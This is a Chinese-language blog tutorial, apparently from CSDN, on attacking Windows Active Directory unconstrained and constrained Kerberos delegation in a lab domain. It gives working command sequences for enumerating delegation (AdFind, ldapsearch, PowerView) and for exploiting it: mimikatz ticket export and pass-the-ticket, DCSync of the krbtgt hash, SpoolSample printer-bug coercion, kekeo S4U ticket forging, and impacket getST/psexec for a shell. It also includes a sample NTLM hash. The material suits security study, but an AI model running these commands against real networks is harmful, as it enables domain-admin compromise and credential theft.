基于windows中委派的攻击思路(上)-约束性委派与非约束性委派
文章目录
- 1. 前言
- 2. 发现具有委派关系的用户和计算机
- 2.1 原理
- 2.2 利用工具查找
- 1. ADFind
- 1.查询非约束委派的主机:
- 2.查询约束委派的主机
- 2. ldapsearch
- 1. 查询非约束性委派的机器
- 2.查询约束性委派机器
- 3. powerview
- 1.查询非约束性委派的机器
- 2.查询约束性委派机器
- 3.非约束性委派的利用
- 3.1 原理
- 3.2 实验过程
- 3.3 利用思路
- 3.4 非约束委派+Spooler打印机服务
- 3.4.1 原理
- 3.4.2 开始实验
- 4. 约束性委派的利用
- 4.1 原理
- 4.2 实验过程
- 方法1
- 方法2
- 方法3
- 参考文章
1. 前言
委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:
- 非约束性委派
- 约束性委派
- 基于资源的约束性委派
这篇文章主要对这三种委派方式相关的攻击方式进行总结。
关于委派的其他细节理解可以参看windows中关于委派(delegation)的理解。
2. 发现具有委派关系的用户和计算机
2.1 原理
首先我们需要知道
当服务账号或者主机被设置为
非约束性委派
时,其userAccountControl
属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为
约束性委派
时,其userAccountControl
属性包含TRUSTED_TO_AUTH_FOR_DELEGATION
,且msDS-AllowedToDelegateTo
属性会包含被约束的服务
2.2 利用工具查找
1. ADFind
不需要账号密码即可查询
1.查询非约束委派的主机:
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
当samAccountType=805306368的时候,是对账号进行查询。
2.查询约束委派的主机
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
2. ldapsearch
需要域内任意用户的账号密码
1. 查询非约束性委派的机器
ldapsearch -LLL -x -H ldap://192.168.124.142:389 -D "administrator@test.com" -w "123" -b dc=test,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
2.查询约束性委派机器
ldapsearch -LLL -x -H ldap://192.168.124.142:389 -D "administrator@test.com" -w "123" -b dc=test,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
ldapsearch的详细用法可看:ldap相关知识与攻击方式
3. powerview
1.查询非约束性委派的机器
Get-NetComputer -Unconstrained -Domain test.com | select cn
2.查询约束性委派机器
Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
3.非约束性委派的利用
3.1 原理
当某台主机访问了配置了非约束性委派当主机的时候,就会将自己当可转发当tgt发送到配置了非约束性委派当主机上。
这时候我们就萌生出一种攻击手法,诱导域管账号访问我们的被配置了非约束委派的主机,认证方式无论是kerberos还是ntlm都可以,这样子我们就拥有了域管的TGT,可以生成黄金票据。
域控主机账户默认开启非约束委派
我们以管理员身份通过winrm quickconfig
可以打开普通主机上的winrm服务,而server2008之后,所有的server主机默认会开启这个服务。
当其他主机访问配置了非约束性委派主机上的winrm服务的时候,就会将TGT与这个TGT中存储的session key
缓存到这个主机上。
必须有tgt跟tgt中的session key才能进行后续的kerberos认证。
这里给大家一张微软官方的图片方便大家理解:
现在假设这么一种情形,service1配置了非约束性委派,用户A需要委派service1来访问service2。这个service1可以是主机账户。
那么非约束性委派的过程可以大概理解为:
- 用户A向KDC申请一张可转发的用户A自己的TGT与访问service1需要的ticket。
- 用户A将第一步得到的ticket与可转发的tgt与tgt中的session key一起发送给了service1.
- service1使用那张tgt与session key来代表用户A行使后续操作例如访问service2.
3.2 实验过程
已有资产:
主机名 | ip | 权限 |
---|---|---|
yukong | 192.168.124.142 | 域控 |
zhangsan | 192.168.124.2 | 普通域内机器(配置了非约束性委派) |
lisi | 192.168.124.3 | 普通域内机器(配置了约束性委派) |
首先在zhangsan的机器上开启winrm服务,开启后查看zhangsan主机上的票据,发现只有zhangsan的票据:
在yuknog主机上利用
Enter-PSSession -ComputerName zhangsan
命令连接到zhangsan,此时域控上登陆的用户为域管administrator:
通过查询IP发现当前shell的IP变成了zhangsan机器的IP,可以理解成yukong委派zhangsan代表自己在对zhangsan进行操作
。登陆zhangsan机器导出域管TGT
使用管理员权限的shell打开mimikatz执行sekurlsa::tickets /export
命令即可导出所有凭据,别忘记提权mimikatz,下图方框中的文件就是域管的TGT。
使用域管的凭据获得域管的权限
首先我们进行DCsync读取一下密码:
发现是失败的。
这时候我们使用刚才得到的域管的凭据:
kerberos::ptt [0;27e615]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi
发现可以访问域控机器上的C盘文件:
读取krbtgt的hash也可以成功:
lsadump::dcsync /domain:test.com /user:krbtgt
3.3 利用思路
- 先通过ldapsearch或者adfind或者powerview查询域内配置了非约束性委派的机器。
- 那下目标机器权限。
- 诱导域管对我们这台机器进行委派(通过使用钓鱼或者打印机哪个漏洞)。
- 拿到域管的TGT
- over
3.4 非约束委派+Spooler打印机服务
3.4.1 原理
利用Windows打印系统远程协议(MS-RPRN)的一个漏洞,可以使得开启了spooler服务的主机强制对一个攻击者指定的主机进行kerberos或者NTLM认证。
3.4.2 开始实验
确定yukong主机开启spooler服务。
在zhangsan上使用exp来强制yukong访问zhangsan的spooler服务,进而获得yukong主机的tgt,使用方法
spoolsample.exe yukong zhangsan
,可以强制yukong访问zhangsan。下载地址:https://github.com/shanfenglan/test/tree/master/spooler得到使用mimikatz得到域控主机账户的tgt并倒入到内存中
kerberos::ptt 1.kirbi
获取域管权限可以读取krbtgt的hash
lsadump::dcsync /domain:test.com /user:krbtgt
切记:一定要使用普通管理员的权限(不用绕过UAC)来执行
spoolsample.exe yukong zhangsan
这个命令,只有这样才能导出域控主机账户的tgt。
4. 约束性委派的利用
4.1 原理
非约束性委派被委派的机器会直接得到发布委派的用户的TGT,是十分不安全的,因此微软推出了约束性委派,还扩充kerberos协议,添加了s4u2self与s4u2proxy协议,以增加安全性。这两个协议的具体细节可以查看:windows中关于委派(delegation)的理解这篇文章。下面我简述一下约束性委派的过程,假设有这么一种情况,用户A委派service1去访问service2,那么大概的访问过程如下:
- 用户A访问service1。
- service1通过s4u2self协议代表用户A去请求一个可以访问service1自身的可转发的ticket,这个ticket代表域控授权service1可以以用户A的身份进行操作。
- service1以用户A的身份访问KDC请求一个访问service2的可转发的ticket
- service1获取到ticket并以用户A的名义访问service2。
第一个ticket表示域控授权service1代表用户A来访问service1,第二个ticket代表域控授权service1代表用户来访问service2。总的来说s4u2self解决的问题就是,确定了某台主机可以代表某用户来对自己进行操作。s4u2proxy解决的问题是确定了某台主机可以代表某用户对其他主机进行操作。
综上所述,对约束性委派利用对核心就是获得可转发的ticket票据。
获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket票据,这一行为可通过kekeo完成。
4.2 实验过程
补充:windows创建服务账号的方式
windows注册服务账户(域控才可以) setspn -u -s host/wangmazi wangmazi
setspn -u lisi #可以查询lisi的spn
如果权限不够就会报错:
创建好后就可以给账号配置约束性委派了:
已有资产:
主机名/用户 | ip | 权限 |
---|---|---|
yukong | 192.168.124.142 | 域控 |
zhangsan | 192.168.124.2 | 普通域内机器(配置了非约束性委派) |
lisi | 192.168.124.3 | 普通域内机器(对zhangsan的cifs服务配置了约束性委派) |
方法1
- 首先查询域内配置了约束性委派的服务账号。
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
首先我们需要申请一张lisi的tgt票据,这个票据后面可用来申请可转发的ticket
先通过mimikatz找到配置了约束性委派的主机的主机账户的密码hash:
sekurlsa::logonpasswords
打开kekeo,执行如下命令生成一个TGT:
tgt::ask /user:lisi$ /domain:test.com /NTLM:497114015b3695d77441431ae90b78e3
我们使用这张tgt来伪造请求得到一个administrator权限的ticket:
tgs::s4u /tgt:2.kirbi /user:Administrator@test.com /service:cifs/zhangsan.test.com
将得到的ticket导入到内存:
打开mimikatz先privilege::Debug然后执行下面命令:kerberos::ptt 555.kirbi
访问zhangsan的cifs服务看是否成功:
dir \\zhangsan\c$
方法2
也可以使用mimikatz直接导出lisi的tgt然后使用kekeo工具执行tgs::s4u:
先使用sekurlsa::tickets /export
导出票据,使用机器账户LISI$的票据
tgs::s4u /tgt:[0;3e7]-2-1-40e10000-LISI$@krbtgt-TEST.COM.kirbi /user:Administrator@test.com /service:cifs/zhangsan.test.com
出现红框所示才算成功,这时候kekeo当前路径下会出现administrator的ticket(用于访问zhangsan的CIFS服务),导入这个tiket即可访问zhangsan的cifs服务:
- 新出现的ticket:
- 将ticket导入内存,导入第二个名字很长的那个:
kerberos::ptt 333.kirbi
导入前访问zhangsan的c$:
- 导入ticket后访问zhangsan的文件共享:
dir \\zhangsan.test.com\c$
方法3
这种方法可以直接拿shell,但我想不通原理:
python getST.py -dc-ip 192.168.124.142 -spn cifs/zhangsan -impersonate administrator test.com/lisi$ -hash :497114015b3695d77441431ae90b78e3
set KRB5CCNAME=administrator.ccache
python psexec.py -no-pass -k zhangsan
补充:如果实验的时候发现s4u2proxy阶段失败但是s4u2self阶段成功,且已经配置了约束性委派,那么失败的原因有可能是身份验证的方式选择了只支持kerberos验证。只要更换成“使用任何身份验证协议”即可,如下图:
参考文章
渗透技巧——Windows Token九种权限的利用
By七友的文章
Windows内网协议学习Kerberos篇之TGSREQ& TGSREP
域渗透——Kerberos委派攻击
域渗透——基于资源的约束委派利用
CVE-2019-1040利用 - 结合RCE和Domain Admin的重放漏洞
微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)
补充的一些问题:
约束性委派中最终其作用的是那张可转发的TICKET,这张ticket与kerberos认证中的ticket除了可转发性其余一样吗?
一样的,本质走的都是kerberos协议。
约束性委派s4u2proxy中除了需要导入s4u2self得到的可转发的ticket外还需不需要导入被委派主机的tgt?
不需要。
基于windows中委派的攻击思路(上)-约束性委派与非约束性委派相关推荐
- 基于windows中委派的攻击思路(下)-基于资源的约束性委派
文章目录 1. 前言 2. 技术点 2.1 利用原理: 那么如何获得一个机器账户呢? 如何获得一个有权利修改msDS-AllowedToActOnBehalfOfOtherIdentity? 3. 利 ...
- windows中Oracle服务连接不上错误排查及解决方法-实用
windows下Oracle连接不上问题排查思路 外部连接工具plsql,Navicat无法访问oracle数据库服务的排查思路 查看所访问oracle服务的所在服务器能否ping通,oracle服务 ...
- windows中虚拟网卡装不上
当windows中虚拟网卡不见的时候 1.一般可以进入虚拟机中的 编辑>虚拟网络编辑器>勾选 将逐句虚拟适配器连接到此网络 2.当勾选,点确定后,发现勾选不上,并且在windows中的设备 ...
- 聊聊护网中常见钓鱼攻击思路
每日一句:HW中,红队.蓝队都会很累.没有说哪个会更强一些,毕竟道高一尺魔高一丈. 一.网络钓鱼 01.一些简介~钓鱼属于社会工程学~在18年的红蓝对抗还不怎么常见,~在19年的时候就比较泛滥了02. ...
- 在基于Windows系统的PHP虚拟主机上实现域名的301永久重定向
作者:荒原之梦 原文链接:http://zhaokaifeng.com/?p=581 操作背景: 当网站在更换或添加域名.进行网址规范化或删除旧页面时,出于对用户使用体验和搜索引擎优化方面的考虑就需要 ...
- 学习过程中遇到的一些电脑上的小BUG,非学习问题,实时更新
1.电脑桌面上有一个"关闭"字样的的小方框解决方法 电脑桌面上莫名出现有个"关闭"字样的小方框按钮,但无论怎么点击他都没有反应,而且会存在在各个页面上方 ,看着 ...
- windows中关于委派(delegation)的理解
CATALOG 1.前言 2.什么是委派 2.1 前置知识 2.1.1 S4U2SELF 2.1.1.1 用途 2.1.1.2 细节 2.1.1.3 延伸 2.1.2 S4U2PROXY 2.1.2. ...
- 域安全|非约束委派攻击 Exchange 2013的安装
作者: 0xYyy 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 写在前面 此文章其实可以分为两篇,只不过为了让大家更好的在本地测试的情况下,堪称保姆级别指导来安装exch ...
- Kerberos 域委派攻击之非约束性委派
CSDN文章自动迁移自博客 在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 W ...
最新文章
- 2_Python实现基于人脸特征的美颜算法(20181224)
- 【DBMS 数据库管理系统】数据库 -> 数据仓库 ( 数据处理类型 | 传统数据库 | 数据库不适用于分析型应用 )
- Python爬虫入门教程石家庄链家租房数据抓取
- QT | QT MSVC 2015 + VS 2015开发环境配置及GIT设置
- .NET Core 微服务之Polly熔断策略
- java 注册驱动失败_java – JDBC驱动程序注册死锁?
- Haiku OS 的黎明
- 使用MyEclipse开发Java EE应用:用XDoclet创建EJB 2 Session Bean项目(二)
- oracle rman optimization,关于RMAN中的优化(Optimization)
- prometheus.yml 配置文件参数详解
- Axure RP 9的安装与汉化
- 【oracle】varchar和varchar2区别
- 基于Linux利用PPP实现4G模块联网
- 西南科技大学城市学院计算机专业录取分数线,西南科技大学城市学院2020年录取分数线(附2017-2020年分数线)...
- Linux 内核引导选项简介
- 软件测试三分钟自我介绍
- java实现Word文档(doc、docx)在线查看功能(前台+后台)
- android 播放提示音,[转载]android播放音效例子 (翻页音效、警报音效通用
- mysql5.045_Microsoft SQL Server数据库各版本下载地址集合
- boot的时候无法进入BIOS,无法使用键盘